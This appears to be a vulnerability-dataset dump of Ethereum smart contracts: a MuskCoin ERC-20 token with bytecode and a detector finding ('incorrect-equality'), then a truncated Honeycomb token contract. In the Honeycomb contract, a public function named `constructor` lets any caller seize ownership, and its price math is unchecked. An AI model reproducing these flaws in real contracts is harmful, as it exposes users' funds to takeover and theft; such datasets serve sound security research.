░░░╚═╝░░░░╚════╝░ ░░░╚═╝░░░╚═╝░░╚═╝╚══════╝ ╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚═╝
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract MUSK {
/// @notice EIP-20 token name for this token
string public constant name = "MuskCoin";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "MUSK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 1000000000 * 10**18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new MUSK token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "MUSK::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "MUSK::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "MUSK::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "MUSK::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "MUSK::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "MUSK::permit: invalid signature");
require(signatory == owner, "MUSK::permit: unauthorized");
require(now <= deadline, "MUSK::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "MUSK::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "MUSK::delegateBySig: invalid nonce");
require(now <= expiry, "MUSK::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "MUSK::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "MUSK::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "MUSK::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "MUSK::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "MUSK::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "MUSK::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "MUSK::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "MUSK::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063b4b5ea571161007c578063b4b5ea571461027d578063c3cda52014610290578063d505accf146102a3578063dd62ed3e146102b6578063e7a324dc146102c9578063f1127ed8146102d157610137565b806370a082311461021c578063782d6fe11461022f5780637ecebe001461024f57806395d89b4114610262578063a9059cbb1461026a57610137565b806330adf81f116100ff57806330adf81f146101aa578063313ce567146101b2578063587cde1e146101c75780635c19a95c146101e75780636fcfff45146101fc57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017a57806320606b701461018f57806323b872dd14610197575b600080fd5b6101446102f2565b6040516101519190611c8b565b60405180910390f35b61016d6101683660046115ca565b610316565b6040516101519190611b87565b6101826103d3565b6040516101519190611b95565b6101826103e3565b61016d6101a53660046114e1565b6103fa565b61018261053f565b6101ba61054b565b6040516101519190611d55565b6101da6101d5366004611481565b610550565b6040516101519190611b79565b6101fa6101f5366004611481565b61056b565b005b61020f61020a366004611481565b610578565b6040516101519190611d2c565b61018261022a366004611481565b610590565b61024261023d3660046115ca565b6105b4565b6040516101519190611d71565b61018261025d366004611481565b6107cb565b6101446107dd565b61016d6102783660046115ca565b6107fd565b61024261028b366004611481565b610839565b6101fa61029e3660046115fa565b6108a9565b6101fa6102b136600461152e565b610a93565b6101826102c43660046114a7565b610d7e565b610182610db0565b6102e46102df366004611681565b610dbc565b604051610151929190611d3a565b6040518060400160405280600881526020016726bab9b5a1b7b4b760c11b81525081565b60008060001983141561032c5750600019610351565b61034e83604051806060016040528060258152602001611eaf60259139610df1565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bf908590611d63565b60405180910390a360019150505b92915050565b6b033b2e3c9fd0803ce800000081565b6040516103ef90611b63565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b039091169285926104509288929190611eaf90830139610df1565b9050866001600160a01b0316836001600160a01b03161415801561047d57506001600160601b0382811614155b156105255760006104a783836040518060600160405280603d8152602001611faf603d9139610e20565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061051b908590611d63565b60405180910390a3505b610530878783610e5f565b600193505050505b9392505050565b6040516103ef90611b58565b601281565b6002602052600090815260409020546001600160a01b031681565b610575338261100a565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105de5760405162461bcd60e51b81526004016105d590611cfc565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff168061060c5760009150506103cd565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610688576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103cd565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156106c35760009150506103cd565b600060001982015b8163ffffffff168163ffffffff16111561078657600282820363ffffffff160481036106f561143e565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610761576020015194506103cd9350505050565b805163ffffffff168711156107785781935061077f565b6001820392505b50506106cb565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060048152602001634d55534b60e01b81525081565b60008061082283604051806060016040528060268152602001611f5560269139610df1565b905061082f338583610e5f565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610864576000610538565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108b790611b63565b60408051918290038220828201909152600882526726bab9b5a1b7b4b760c11b6020909201919091527f4d07b0a0f26f6c2124080de1a56c646b64961a67961999a2deda555f02bfa6e3610909611094565b3060405160200161091d9493929190611c3b565b604051602081830303815290604052805190602001209050600060405161094390611b6e565b60405190819003812061095e918a908a908a90602001611bfd565b6040516020818303038152906040528051906020012090506000828260405160200161098b929190611b27565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109c89493929190611c70565b6020604051602081039080840390855afa1580156109ea573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a1d5760405162461bcd60e51b81526004016105d590611cdc565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a5c5760405162461bcd60e51b81526004016105d590611cec565b87421115610a7c5760405162461bcd60e51b81526004016105d590611d1c565b610a86818b61100a565b505050505b505050505050565b6000600019861415610aa85750600019610acd565b610aca86604051806060016040528060248152602001611ed460249139610df1565b90505b6000604051610adb90611b63565b60408051918290038220828201909152600882526726bab9b5a1b7b4b760c11b6020909201919091527f4d07b0a0f26f6c2124080de1a56c646b64961a67961999a2deda555f02bfa6e3610b2d611094565b30604051602001610b419493929190611c3b565b6040516020818303038152906040528051906020012090506000604051610b6790611b58565b604080519182900382206001600160a01b038d16600090815260056020908152929020805460018101909155610ba99391928e928e928e9290918e9101611ba3565b60405160208183030381529060405280519060200120905060008282604051602001610bd6929190611b27565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610c139493929190611c70565b6020604051602081039080840390855afa158015610c35573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610c685760405162461bcd60e51b81526004016105d590611cbc565b8b6001600160a01b0316816001600160a01b031614610c995760405162461bcd60e51b81526004016105d590611ccc565b88421115610cb95760405162461bcd60e51b81526004016105d590611d0c565b846000808e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610d689190611d63565b60405180910390a3505050505050505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103ef90611b6e565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610e185760405162461bcd60e51b81526004016105d59190611c8b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610e575760405162461bcd60e51b81526004016105d59190611c8b565b505050900390565b6001600160a01b038316610e855760405162461bcd60e51b81526004016105d590611cac565b6001600160a01b038216610eab5760405162461bcd60e51b81526004016105d590611c9c565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610ef6936001600160601b039092169285929190611ef890830139610e20565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610f5e9491909116928592909190611e5790830139611098565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fcb908590611d63565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054611005929182169116836110d4565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461108e8284836110d4565b50505050565b4690565b6000838301826001600160601b0380871690831610156110cb5760405162461bcd60e51b81526004016105d59190611c8b565b50949350505050565b816001600160a01b0316836001600160a01b0316141580156110ff57506000816001600160601b0316115b15611005576001600160a01b038316156111b7576001600160a01b03831660009081526004602052604081205463ffffffff16908161113f57600061117e565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006111a58285604051806060016040528060288152602001611e8760289139610e20565b90506111b386848484611262565b5050505b6001600160a01b03821615611005576001600160a01b03821660009081526004602052604081205463ffffffff1690816111f2576000611231565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006112588285604051806060016040528060278152602001611f2e60279139611098565b9050610a8b858484845b600061128643604051806060016040528060348152602001611f7b60349139611417565b905060008463ffffffff161180156112cf57506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561132e576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556113cd565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611408929190611d7f565b60405180910390a25050505050565b600081600160201b8410610e185760405162461bcd60e51b81526004016105d59190611c8b565b604080518082019091526000808252602082015290565b80356103cd81611e27565b80356103cd81611e3b565b80356103cd81611e44565b80356103cd81611e4d565b60006020828403121561149357600080fd5b600061149f8484611455565b949350505050565b600080604083850312156114ba57600080fd5b60006114c68585611455565b92505060206114d785828601611455565b9150509250929050565b6000806000606084860312156114f657600080fd5b60006115028686611455565b935050602061151386828701611455565b925050604061152486828701611460565b9150509250925092565b600080600080600080600060e0888a03121561154957600080fd5b60006115558a8a611455565b97505060206115668a828b01611455565b96505060406115778a828b01611460565b95505060606115888a828b01611460565b94505060806115998a828b01611476565b93505060a06115aa8a828b01611460565b92505060c06115bb8a828b01611460565b91505092959891949750929550565b600080604083850312156115dd57600080fd5b60006115e98585611455565b92505060206114d785828601611460565b60008060008060008060c0878903121561161357600080fd5b600061161f8989611455565b965050602061163089828a01611460565b955050604061164189828a01611460565b945050606061165289828a01611476565b935050608061166389828a01611460565b92505060a061167489828a01611460565b9150509295509295509295565b6000806040838503121561169457600080fd5b60006116a08585611455565b92505060206114d78582860161146b565b6116ba81611dac565b82525050565b6116ba81611db7565b6116ba81611dbc565b6116ba6116de82611dbc565b611dbc565b60006116ee82611d9a565b6116f88185611d9e565b9350611708818560208601611df1565b61171181611e1d565b9093019392505050565b6000611728603a83611d9e565b7f4d55534b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b6000611787600283611da7565b61190160f01b815260020192915050565b60006117a5603c83611d9e565b7f4d55534b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b6000611804601f83611d9e565b7f4d55534b3a3a7065726d69743a20696e76616c6964207369676e617475726500815260200192915050565b600061183d601a83611d9e565b7f4d55534b3a3a7065726d69743a20756e617574686f72697a6564000000000000815260200192915050565b6000611876605283611da7565b7f5065726d69742861646472657373206f776e65722c616464726573732073706581527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63656020820152712c75696e7432353620646561646c696e652960701b604082015260520192915050565b60006118f0602683611d9e565b7f4d55534b3a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b6000611938604383611da7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006119a3602283611d9e565b7f4d55534b3a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006119e7602783611d9e565b7f4d55534b3a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6000611a30601f83611d9e565b7f4d55534b3a3a7065726d69743a207369676e6174757265206578706972656400815260200192915050565b6000611a69603a83611da7565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6000611ac8602683611d9e565b7f4d55534b3a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b6116ba81611dcb565b6116ba81611dd4565b6116ba81611de6565b6116ba81611dda565b6000611b328261177a565b9150611b3e82856116d2565b602082019150611b4e82846116d2565b5060200192915050565b60006103cd82611869565b60006103cd8261192b565b60006103cd82611a5c565b602081016103cd82846116b1565b602081016103cd82846116c0565b602081016103cd82846116c9565b60c08101611bb182896116c9565b611bbe60208301886116b1565b611bcb60408301876116b1565b611bd860608301866116c9565b611be560808301856116c9565b611bf260a08301846116c9565b979650505050505050565b60808101611c0b82876116c9565b611c1860208301866116b1565b611c2560408301856116c9565b611c3260608301846116c9565b95945050505050565b60808101611c4982876116c9565b611c5660208301866116c9565b611c6360408301856116c9565b611c3260608301846116b1565b60808101611c7e82876116c9565b611c186020830186611b0c565b6020808252810161053881846116e3565b602080825281016103cd8161171b565b602080825281016103cd81611798565b602080825281016103cd816117f7565b602080825281016103cd81611830565b602080825281016103cd816118e3565b602080825281016103cd81611996565b602080825281016103cd816119da565b602080825281016103cd81611a23565b602080825281016103cd81611abb565b602081016103cd8284611b03565b60408101611d488285611b03565b6105386020830184611b1e565b602081016103cd8284611b0c565b602081016103cd8284611b15565b602081016103cd8284611b1e565b60408101611d8d8285611b15565b6105386020830184611b15565b5190565b90815260200190565b919050565b60006103cd82611dbf565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103cd82611dda565b60005b83811015611e0c578181015183820152602001611df4565b8381111561108e5750506000910152565b601f01601f191690565b611e3081611dac565b811461057557600080fd5b611e3081611dbc565b611e3081611dcb565b611e3081611dd456fe4d55534b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d55534b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d55534b3a3a617070726f76653a20616d6f756e74206578636565647320393620626974734d55534b3a3a7065726d69743a20616d6f756e74206578636565647320393620626974734d55534b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d55534b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d55534b3a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d55534b3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d55534b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a365627a7a7231582058d9082d9e4201d91d6959741d3d0e58855a2ccc9864fdfdcf8192d64fa652e96c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,389 |
0xa86914a1402f3cdcb27084e08a47445e8ab1bbab
|
pragma solidity ^0.4.21;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract owned {
address public owner;
bool public ownershipTransferAllowed = false;
function constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function allowTransferOwnership(bool flag ) public onlyOwner {
ownershipTransferAllowed = flag;
}
function transferOwnership(address newOwner) public onlyOwner {
require( newOwner != 0x0 ); // not to 0x0
require( ownershipTransferAllowed );
owner = newOwner;
ownershipTransferAllowed = false;
}
}
contract ECR20HoneycombToken is owned {
// Public variables of the token
string public name = "Honeycomb";
string public symbol = "COMB";
uint8 public decimals = 18;
// used for buyPrice
uint256 private tokenFactor = 10 ** uint256(decimals);
uint256 private initialBuyPrice = 3141592650000000000000; // PI Token per Finney
uint256 private buyConst1 = 10000 * tokenFactor; // Faktor for buy price calculation
uint256 private buyConst2 = 4; // Faktor for buy price calculation
uint256 public minimumPayout = 1000000000000000; // minimal payout initially to 0.001 ether
uint256 public totalSupply; // total number of issued tokent
// price token are sold/bought
uint256 public sellPrice;
uint256 public buyPrice;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function ECR20HoneycombToken() public {
totalSupply = 1048576 * tokenFactor; // token total created
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
owner = msg.sender; // assign ownership of contract to initial coin holder
emit Transfer(0, owner, totalSupply); // notify event owner
_transfer(owner, this, totalSupply - (16384*tokenFactor)); // transfer token to contract
_setPrices(_newPrice(balanceOf[this])); // set prices according to token left
}
/**
* Calculate new price based on a new token left
*
* @param tokenLeft new token left on contract after transaction
**/
function _newPrice(uint256 tokenLeft) internal view returns (uint256 newPrice) {
newPrice = initialBuyPrice
* ( tokenLeft * buyConst1 )
/ ( totalSupply*buyConst1 + totalSupply*tokenLeft/buyConst2 - tokenLeft*tokenLeft/buyConst2 );
return newPrice;
}
function _setPrices(uint256 newPrice) internal {
buyPrice = newPrice;
sellPrice = buyPrice * 141421356 / 100000000; // sellPrice is sqrt(2) higher
}
/**
* Called when token are bought by sending ether
*
* @return amount amount of token bought
**/
function buy() payable public returns (uint256 amountToken){
amountToken = msg.value * buyPrice / tokenFactor; // calculates the amount of token
uint256 newPrice = _newPrice(balanceOf[this] - amountToken); // calc new price after transfer
require( (2*newPrice) > sellPrice); // check whether new price is not lower than sqrt(2) of old one
_transfer(this, msg.sender, amountToken); // transfer token from contract to buyer
_setPrices( newPrice ); // update prices after transfer
return amountToken;
}
/**
Fallback function
**/
function () payable public {
buy();
}
/**
* Sell token back to contract
*
* @param amountToken The amount of token in wei
*
* @return eth to receive in wei
**/
function sell(uint256 amountToken) public returns (uint256 revenue){
revenue = amountToken * tokenFactor / sellPrice; // calulate the revenue in Wei
require( revenue >= minimumPayout ); // check whether selling get more ether than the minimum payout
uint256 newPrice = _newPrice(balanceOf[this] + amountToken); // calc new price after transfer
require( newPrice < sellPrice ); // check whether new price is more than sell price
_transfer(msg.sender, this, amountToken); // transfer token back to contract
_setPrices( newPrice ); // update prices after transfer
msg.sender.transfer(revenue); // send ether to seller
return revenue;
}
/**
